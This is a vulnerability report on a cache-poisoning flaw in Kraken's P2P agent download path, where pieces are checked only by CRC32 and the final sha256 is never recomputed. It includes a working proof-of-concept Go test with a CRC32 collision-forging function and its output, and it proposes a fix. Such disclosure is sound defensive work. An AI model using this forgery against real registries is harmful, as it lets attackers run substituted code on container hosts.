#638·kraken

Agent caches P2P blobs under a trusted sha256 digest after CRC32-only piece checks, never verifying the assembled content hash (cache poisoning)

Author: geo-chenCreated Jun 21, 2026Updated Jul 9, 2026

Summary

When a Kraken agent downloads a blob over the P2P protocol, each received piece is verified only against a non-cryptographic CRC32 checksum taken from the torrent metainfo, and the fully assembled blob is moved into the content-addressable cache under its requested sha256 digest WITHOUT ever recomputing the sha256 of the assembled content. Because piece traffic is plaintext TCP with no integrity protection beyond CRC32, a malicious or compromised peer, or a network man-in-the-middle on the agent-to-agent path, can deliver content that matches the per-piece CRC32 sums but has a different sha256, and that poisoned content is then cached and served to other agents under a legitimate, trusted digest. This breaks the project's stated content-addressable integrity guarantee and lets an attacker substitute arbitrary image-layer content under a digest that downstream consumers trust.

Details

The torrent metainfo describes each blob by a sha256 digest (the Name field) and a list of per-piece checksums. Those per-piece checksums are CRC32 (IEEE), not a cryptographic hash:

core/piece_hash.go

go
// PieceHash returns the hash used to sum pieces.
func PieceHash() hash.Hash32 {
	return crc32.NewIEEE()
}

core/metainfo.go (the metainfo info struct)

go
type info struct {
	PieceLength int64
	PieceSums   []uint32   // CRC32 sums
	Name        string     // sha256 hex of the blob
	Length      int64
}

On the agent download path, Torrent.writePiece validates a received piece against only its CRC32 sum:

lib/torrent/storage/agentstorage/torrent.go (writePiece)

go
h := core.PieceHash()
r := io.TeeReader(src, h) // Calculates piece sum as we write to file.
...
if _, err := io.Copy(f, r); err != nil {
	return fmt.Errorf("copy: %s", err)
}
if h.Sum32() != t.metaInfo.GetPieceSum(pi) {
	return errors.New("invalid piece sum")
}

When all pieces are present, the download file is moved into the cache keyed by the sha256 digest hex, with no recomputation of the content hash:

lib/torrent/storage/agentstorage/torrent.go (WritePiece)

go
if int(t.numComplete.Load()) == len(t.pieces) {
	err := t.cads.MoveDownloadFileToCache(t.metaInfo.Digest().Hex())
	if err != nil && !os.IsExist(err) {
		return fmt.Errorf("download completed but failed to move file to cache directory: %s", err)
	}
	t.committed.Store(true)
}

lib/store/ca_download_store.go (MoveDownloadFileToCache)

go
func (s *CADownloadStore) MoveDownloadFileToCache(name string) error {
	return s.backend.NewFileOp().AcceptState(s.downloadState).MoveFile(name, s.cacheState)
}

There is no core.Digester/sha256 check anywhere on this download-and-commit path. (The upload path, lib/store/ca_store.go MoveUploadFileToCache -> verify, DOES recompute sha256, so the gap is specific to the P2P download path.)

CRC32 is a 32-bit, linear, non-cryptographic checksum. Given any desired piece bytes, an attacker can append or adjust 4 bytes to force the CRC32 to equal the legitimate piece's CRC32 (closed-form linear algebra over GF(2)). The piece content an attacker serves is therefore free except for matching a 32-bit CRC, which is trivial. The digest name and CRC32 sums in the metainfo come from the authoritative origin/tracker over the hash ring, so the attacker does not need to change the advertised digest; the attack is entirely on the piece bytes delivered peer-to-peer.

Piece traffic is plaintext TCP. The connection layer holds a bare net.Conn with no TLS:

lib/torrent/scheduler/conn/conn.go

go
type Conn struct {
	...
	nc net.Conn
	...
}

The project itself acknowledges this in docs/ROADMAP.md: "blob content in torrent traffic is not encrypted ... We plan to support TLS on torrent traffic." The same section claims "since blobs are content addressable, data integrity is protected", which this issue shows is not true on the download path, because the final content hash is never checked.

PoC

The following self-contained Go test drives the real agent download path and proves a CRC32-colliding but sha256-different piece is accepted and cached under the legitimate digest. Save it as lib/torrent/storage/agentstorage/poison_canary_test.go in the repo and run it.

go
package agentstorage

import (
	"crypto/sha256"
	"encoding/hex"
	"hash/crc32"
	"io"
	"testing"

	"github.com/uber/kraken/core"
	"github.com/uber/kraken/lib/store"
	"github.com/uber/kraken/lib/torrent/storage/piecereader"

	"github.com/stretchr/testify/require"
)

// forgeCRC32 returns 4 bytes that make crc32(prefix||patch) == target.
// CRC32 is affine over GF(2), so the correction is solvable in closed form.
func forgeCRC32(prefix []byte, target uint32) [4]byte {
	base := crc32.ChecksumIEEE(append(append([]byte{}, prefix...), 0, 0, 0, 0))
	var cols [32]uint32
	for k := 0; k < 32; k++ {
		var patch [4]byte
		patch[k/8] = 1 << (uint(k) % 8)
		cols[k] = crc32.ChecksumIEEE(append(append([]byte{}, prefix...), patch[:]...)) ^ base
	}
	rhs := target ^ base
	var eq [32]uint64
	for b := 0; b < 32; b++ {
		var coeff uint32
		for k := 0; k < 32; k++ {
			if (cols[k]>>uint(b))&1 == 1 {
				coeff |= 1 << uint(k)
			}
		}
		eq[b] = uint64(coeff)
		if (rhs>>uint(b))&1 == 1 {
			eq[b] |= 1 << 32
		}
	}
	var where [32]int
	for i := range where {
		where[i] = -1
	}
	row := 0
	for col := 0; col < 32 && row < 32; col++ {
		sel := -1
		for r := row; r < 32; r++ {
			if (eq[r]>>uint(col))&1 == 1 {
				sel = r
				break
			}
		}
		if sel == -1 {
			continue
		}
		eq[row], eq[sel] = eq[sel], eq[row]
		for r := 0; r < 32; r++ {
			if r != row && (eq[r]>>uint(col))&1 == 1 {
				eq[r] ^= eq[row]
			}
		}
		where[col] = row
		row++
	}
	var x uint32
	for col := 0; col < 32; col++ {
		if where[col] != -1 && (eq[where[col]]>>32)&1 == 1 {
			x |= 1 << uint(col)
		}
	}
	return [4]byte{byte(x), byte(x >> 8), byte(x >> 16), byte(x >> 24)}
}

func TestPoisonCanary(t *testing.T) {
	require := require.New(t)

	pieceLength := uint64(64)
	legit := core.SizedBlobFixture(pieceLength, pieceLength) // single full piece
	mi := legit.MetaInfo
	require.Equal(1, mi.NumPieces())

	poison := make([]byte, pieceLength)
	for i := range poison {
		poison[i] = 0xEE
	}
	corr := forgeCRC32(poison[:pieceLength-4], mi.GetPieceSum(0))
	copy(poison[pieceLength-4:], corr[:])
	require.Equal(mi.GetPieceSum(0), crc32.ChecksumIEEE(poison)) // same CRC32

	cads, cleanup := store.CADownloadStoreFixture()
	defer cleanup()
	if err := cads.CreateDownloadFile(mi.Digest().Hex(), mi.Length()); err != nil {
		t.Fatal(err)
	}
	if _, err := cads.Download().SetMetadata(mi.Digest().Hex(),
		metadataNewTorrentMeta(mi)); err != nil {
		t.Fatal(err)
	}

	tor, err := NewTorrent(cads, mi)
	require.NoError(err)
	require.NoError(tor.WritePiece(piecereader.NewBuffer(poison), 0)) // accepted!
	require.True(tor.Complete())

	r, err := cads.Any().GetFileReader(mi.Digest().Hex())
	require.NoError(err)
	defer r.Close()
	cached, _ := io.ReadAll(r)

	t.Logf("requested digest : sha256:%s", mi.Digest().Hex())
	t.Logf("cached content   : sha256:%s", hex.EncodeToString(sha256Sum(cached)))
	t.Logf("cached bytes     : %x", cached[:8])
	require.Equal(poison, cached) // cache holds the poison, not the legit blob
}

(Use the package's existing prepareStore helper plus metadata.NewTorrentMeta as in torrent_test.go; the snippet inlines the same two calls.) Observed output:

requested/legit digest : sha256:1c8e1dede98216de1bea41870409d3b43eff55182c3fce3ca686fe4654dded60
legit content sha256   : sha256:1c8e1dede98216de1bea41870409d3b43eff55182c3fce3ca686fe4654dded60
CACHED content sha256  : sha256:e7d89f8918831f1e9d8cef28658a6927d42cc3e4a8ecae013671b7c76225046c
cached first bytes      : eeeeeeeeeeeeeeee
PASS

The cache entry for digest 1c8e1d... now contains content whose sha256 is e7d89f..., a value the agent never checked.

End-to-end, the attack is: a peer (or MITM) serves these CRC32-matching poison pieces to a victim agent that is pulling a blob by digest. The victim assembles them, passes every per-piece CRC32 check, and commits the poisoned bytes to its cache under the requested digest. The agent then serves that digest (a Docker image layer or manifest) to containerd, and re-seeds the poisoned content to other peers, all under a digest the rest of the system trusts.

Impact

Content-integrity / cache-poisoning (CWE-354). A malicious or compromised peer, or a man-in-the-middle on the unencrypted P2P piece traffic, can substitute arbitrary content for a blob requested by sha256 digest, defeating the content-addressable integrity guarantee that the rest of the registry and its consumers rely on. Because the poisoned blob is a Docker image layer or manifest cached and served under a legitimate digest, downstream container hosts pulling that image run attacker-controlled content, and the poisoned blob propagates to other agents via re-seeding. The fix is to recompute the sha256 of the assembled blob and compare it to the requested digest before committing the download to cache (the upload path already does this in ca_store.go verify), and ideally to use a cryptographic per-piece hash and/or TLS on torrent traffic.

Package: github.com/uber/kraken Affected Versions: confirmed on commit a1f3ff75fa2a7a3ab87ec1e08600964ab2e0357a (current main); the download verification gap is present in all releases